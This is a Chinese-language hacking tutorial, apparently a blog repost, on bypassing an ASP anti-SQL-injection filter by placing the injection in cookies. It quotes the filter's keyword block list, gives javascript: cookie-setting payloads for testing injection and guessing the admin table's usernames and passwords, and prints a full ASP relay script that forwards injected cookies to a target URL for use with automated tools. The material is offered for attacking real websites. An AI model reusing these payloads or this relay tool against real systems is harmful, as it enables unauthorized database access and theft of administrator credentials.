手工、工具分别实现cookie注入
最開始的判斷access類型的網(wǎng)站注入點(diǎn)可以用“1 and 1=1”來判斷。
不過現(xiàn)在的網(wǎng)站基本上被擋住了。之后呢,可以考慮cookie注入。
Dim Tc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh
'定義需要過濾的字串
Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master||or|char|declare"
Tc_Inf = split(Tc_In,"|")
'處理post數(shù)據(jù)
If Request.Form<>"" Then
For Each Tc_Post In Request.Form
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('請不要在參數(shù)中包含非法字符嘗試注入!');</Script>"
'處理get數(shù)據(jù)
If Request.QueryString<>"" Then
For Each Tc_Get In Request.QueryString
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('請不要在參數(shù)中包含非法字符嘗試注入!');</Script>"
這 段代碼把SQL注入中要用到的關(guān)鍵字基本都過濾了,但是作者忽略了一個(gè)重要的參數(shù)獲取方式:cookie!程序只對get和post方式獲取的參數(shù)進(jìn)行了 過濾,要是通過cookie提交注入語句一樣可以達(dá)到目的!因?yàn)榉雷⒋a的過濾,不能直接用get或者post方式進(jìn)行注入。那如何進(jìn)行突破呢?在說明之 前,先了解下request獲取變量的方式:request.form獲取的是post數(shù)據(jù),request.querystring獲取的get數(shù) 據(jù),request.cookies獲取的是cookie中的數(shù)據(jù)。但是如果是<%id=request("id")%>呢?這個(gè)時(shí)候程序是 按以下順序來搜索集合:querystring,form,cookie,servervariable。當(dāng)發(fā)現(xiàn)第一個(gè)匹配的變量的時(shí)候就認(rèn)為是要訪問的 成員。從上面的分析我們可以得到什么呢?這里既然程序就沒有限制參數(shù)的來源,我們就不要去通過get的方式提交參數(shù),而是在cookie里面加入?yún)?shù)id 的值,就可以饒過防注入代碼的檢測了!
1、判斷注入
javascript:alert(document.cookie="id="+escape("1 and 1=1"));
例:
http://xxxx/view.asp?id=1
先訪問http://xxxx/view.asp?id=1
接著在瀏覽器里輸入:
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再訪問http://xxxx/view.asp(未出錯(cuò))
再輸入:javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再訪問:http://xxxx/view.asp(出錯(cuò))
2、猜解表段、字段
javascript:alert(document.cookie="id="+escape("1 and 1=(select count(*) from admin where len(username)>0)"));
剩下的事情就是重復(fù)上面的步驟來得到管理員帳戶和密碼了。
-----以下是工具----------
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname?? '存在注入的變量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")
'//以下三行需要修改,Cookies值可以用Domain3.5瀏覽下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的網(wǎng)址
jmref="http://zzz.com/index.asp" '來源地址
jmcok="ASPSESSI"
jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok???? '提交cookie值
.send()???? '發(fā)送數(shù)據(jù)
postdata=.responsebody?????? '得到返回的二進(jìn)制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '轉(zhuǎn)換二進(jìn)制流
end function
function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存為jmdcw.asp,最后可以本機(jī)裝個(gè)IIS或綠色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,從此HACKING的道路更寬廣了
總結(jié)
以上是生活随笔為你收集整理的手工、工具分别实现cookie注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 木铎
- 下一篇: Zabbix介绍及安装部署